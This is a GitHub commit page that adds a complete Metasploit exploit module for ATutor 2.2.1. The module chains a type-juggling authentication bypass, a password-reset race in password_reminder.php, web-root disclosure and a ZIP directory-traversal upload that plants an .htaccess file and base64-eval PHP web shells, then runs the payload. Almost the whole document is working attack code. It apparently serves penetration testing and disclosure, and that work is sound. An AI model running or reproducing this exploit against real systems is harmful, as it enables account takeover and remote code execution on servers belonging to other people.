Skip to content

Commit 85ab9d3

Browse files
author
Brent Cook
committed
Land rapid7#6698, Add ATutor 2.2.1 Directory Traversal Exploit
2 parents b41ac10 + 102d28b commit 85ab9d3

File tree

1 file changed

+360
-0
lines changed

1 file changed

+360
-0
lines changed
Lines changed: 360 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,360 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
19+
setup with display_errors set to On, which can be used to allow us to upload a malicious
20+
ZIP file. On the web application, a blacklist verification is performed before extraction,
21+
however it is not sufficient to prevent exploitation.
22+
23+
You are required to login to the target to reach the vulnerability, however this can be
24+
done as a student account and remote registration is enabled by default.
25+
26+
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
27+
in order to bypass the authentication:
28+
29+
1. confirm.php Authentication Bypass Type Juggling vulnerability
30+
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' =>
34+
[
35+
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
36+
],
37+
'References' =>
38+
[
39+
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
40+
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
41+
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
42+
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
43+
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
44+
],
45+
'Privileged' => false,
46+
'Payload' =>
47+
{
48+
'DisableNops' => true,
49+
},
50+
'Platform' => ['php'],
51+
'Arch' => ARCH_PHP,
52+
'Targets' => [[ 'Automatic', { }]],
53+
'DisclosureDate' => 'Mar 1 2016',
54+
'DefaultTarget' => 0))
55+
56+
register_options(
57+
[
58+
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
59+
OptString.new('USERNAME', [false, 'The username to authenticate as']),
60+
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
61+
],self.class)
62+
end
63+
64+
def print_status(msg='')
65+
super("#{peer} - #{msg}")
66+
end
67+
68+
def print_error(msg='')
69+
super("#{peer} - #{msg}")
70+
end
71+
72+
def print_good(msg='')
73+
super("#{peer} - #{msg}")
74+
end
75+
76+
def check
77+
# there is no real way to finger print the target so we just
78+
# check if we can upload a zip and extract it into the web root...
79+
# obviously not ideal, but if anyone knows better, feel free to change
80+
if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
81+
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
82+
if student_cookie != nil && disclose_web_root
83+
begin
84+
if upload_shell(student_cookie, check=true) && found
85+
return Exploit::CheckCode::Vulnerable
86+
end
87+
rescue Msf::Exploit::Failed => e
88+
vprint_error(e.message)
89+
end
90+
else
91+
# if we cant login, it may still be vuln
92+
return Exploit::CheckCode::Unknown
93+
end
94+
else
95+
# if no creds are supplied, it may still be vuln
96+
return Exploit::CheckCode::Unknown
97+
end
98+
return Exploit::CheckCode::Safe
99+
end
100+
101+
def create_zip_file(check=false)
102+
zip_file = Rex::Zip::Archive.new
103+
@header = Rex::Text.rand_text_alpha_upper(4)
104+
@payload_name = Rex::Text.rand_text_alpha_lower(4)
105+
@archive_name = Rex::Text.rand_text_alpha_lower(3)
106+
@test_string = Rex::Text.rand_text_alpha_lower(8)
107+
# we traverse back into the webroot mods/ directory (since it will be writable)
108+
path = "../../../../../../../../../../../../..#{@webroot}mods/"
109+
110+
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
111+
# we will win. If not, we may still win because these file extensions are often registered as php
112+
# with the webserver, thus allowing us remote code execution.
113+
if check
114+
zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
115+
else
116+
register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
117+
zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
118+
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
119+
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
120+
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
121+
end
122+
zip_file.pack
123+
end
124+
125+
def found
126+
res = send_request_cgi({
127+
'method' => 'GET',
128+
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
129+
})
130+
if res and res.code == 200 and res.body =~ /#{@test_string}/
131+
return true
132+
end
133+
return false
134+
end
135+
136+
def disclose_web_root
137+
res = send_request_cgi({
138+
'method' => 'GET',
139+
'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
140+
})
141+
@webroot = "/"
142+
@webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
143+
if @webroot != "/"
144+
return true
145+
end
146+
return false
147+
end
148+
149+
def call_php(ext)
150+
res = send_request_cgi({
151+
'method' => 'GET',
152+
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
153+
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
154+
}, timeout=0.1)
155+
return res
156+
end
157+
158+
def exec_code
159+
res = nil
160+
res = call_php("pht")
161+
if res == nil
162+
res = call_php("phtml")
163+
end
164+
if res == nil
165+
res = call_php("php4")
166+
end
167+
end
168+
169+
def upload_shell(cookie, check)
170+
post_data = Rex::MIME::Message.new
171+
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
172+
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
173+
data = post_data.to_s
174+
res = send_request_cgi({
175+
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
176+
'method' => 'POST',
177+
'data' => data,
178+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
179+
'cookie' => cookie,
180+
'vars_get' => {
181+
'h' => ''
182+
}
183+
})
184+
if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
185+
return true
186+
end
187+
# unknown failure...
188+
fail_with(Failure::Unknown, "Unable to upload php code")
189+
return false
190+
end
191+
192+
def find_user(cookie)
193+
res = send_request_cgi({
194+
'method' => 'GET',
195+
'uri' => normalize_uri(target_uri.path, "users", "profile.php"),
196+
'cookie' => cookie,
197+
# we need to set the agent to the same value that was in type_juggle,
198+
# since the bypassed session is linked to the user-agent. We can then
199+
# use that session to leak the username
200+
'agent' => ''
201+
})
202+
username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
203+
if username
204+
return username
205+
end
206+
# else we fail, because we dont know the username to login as
207+
fail_with(Failure::Unknown, "Unable to find the username!")
208+
end
209+
210+
def type_juggle
211+
# high padding, means higher success rate
212+
# also, we use numbers, so we can count requests :p
213+
for i in 1..8
214+
for @number in ('0'*i..'9'*i)
215+
res = send_request_cgi({
216+
'method' => 'POST',
217+
'uri' => normalize_uri(target_uri.path, "confirm.php"),
218+
'vars_post' => {
219+
'auto_login' => '',
220+
'code' => '0' # type juggling
221+
},
222+
'vars_get' => {
223+
'e' => @number, # the bruteforce
224+
'id' => '',
225+
'm' => '',
226+
# the default install script creates a member
227+
# so we know for sure, that it will be 1
228+
'member_id' => '1'
229+
},
230+
# need to set the agent, since we are creating x number of sessions
231+
# and then using that session to get leak the username
232+
'agent' => ''
233+
}, redirect_depth = 0) # to validate a successful bypass
234+
if res and res.code == 302
235+
cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
236+
return cookie
237+
end
238+
end
239+
end
240+
# if we finish the loop and have no sauce, we cant make pasta
241+
fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
242+
end
243+
244+
def reset_password
245+
# this is due to line 79 of password_reminder.php
246+
days = (Time.now.to_i/60/60/24)
247+
# make a semi strong password, we have to encourage security now :->
248+
pass = Rex::Text.rand_text_alpha(32)
249+
hash = Rex::Text.sha1(pass)
250+
res = send_request_cgi({
251+
'method' => 'POST',
252+
'uri' => normalize_uri(target_uri.path, "password_reminder.php"),
253+
'vars_post' => {
254+
'form_change' => 'true',
255+
# the default install script creates a member
256+
# so we know for sure, that it will be 1
257+
'id' => '1',
258+
'g' => days + 1, # needs to be > the number of days since epoch
259+
'h' => '', # not even checked!
260+
'form_password_hidden' => hash, # remotely reset the password
261+
'submit' => 'Submit'
262+
},
263+
}, redirect_depth = 0) # to validate a successful bypass
264+
265+
if res and res.code == 302
266+
return pass
267+
end
268+
# if we land here, the TOCTOU failed us
269+
fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
270+
end
271+
272+
def login(username, password, check=false)
273+
hash = Rex::Text.sha1(Rex::Text.sha1(password))
274+
res = send_request_cgi({
275+
'method' => 'POST',
276+
'uri' => normalize_uri(target_uri.path, "login.php"),
277+
'vars_post' => {
278+
'form_password_hidden' => hash,
279+
'form_login' => username,
280+
'submit' => 'Login',
281+
'token' => '',
282+
},
283+
})
284+
# poor php developer practices
285+
cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
286+
if res && res.code == 302
287+
if res.redirection.to_s.include?('bounce.php?course=0')
288+
return cookie
289+
end
290+
end
291+
# auth failed if we land here, bail
292+
unless check
293+
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
294+
end
295+
return nil
296+
end
297+
298+
def report_cred(opts)
299+
service_data = {
300+
address: rhost,
301+
port: rport,
302+
service_name: ssl ? 'https' : 'http',
303+
protocol: 'tcp',
304+
workspace_id: myworkspace_id
305+
}
306+
307+
credential_data = {
308+
module_fullname: fullname,
309+
post_reference_name: self.refname,
310+
private_data: opts[:password],
311+
origin_type: :service,
312+
private_type: :password,
313+
username: opts[:user]
314+
}.merge(service_data)
315+
316+
login_data = {
317+
core: create_credential(credential_data),
318+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
319+
last_attempted_at: Time.now
320+
}.merge(service_data)
321+
322+
create_credential_login(login_data)
323+
end
324+
325+
def exploit
326+
# login if needed
327+
if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
328+
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
329+
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
330+
print_good("Logged in as #{datastore['USERNAME']}")
331+
# else, we reset the students password via a type juggle vulnerability
332+
else
333+
print_status("Account details are not set, bypassing authentication...")
334+
print_status("Triggering type juggle attack...")
335+
student_cookie = type_juggle
336+
print_good("Successfully bypassed the authentication in #{@number} requests !")
337+
username = find_user(student_cookie)
338+
print_good("Found the username: #{username} !")
339+
password = reset_password
340+
print_good("Successfully reset the #{username}'s account password to #{password} !")
341+
report_cred(user: username, password: password)
342+
student_cookie = login(username, password)
343+
print_good("Logged in as #{username}")
344+
end
345+
346+
if disclose_web_root
347+
print_good("Found the webroot")
348+
# we got everything. Now onto pwnage
349+
if upload_shell(student_cookie, false)
350+
print_good("Zip upload successful !")
351+
exec_code
352+
end
353+
end
354+
end
355+
end
356+
357+
=begin
358+
php.ini settings:
359+
display_errors = On
360+
=end

0 commit comments

Comments
 (0)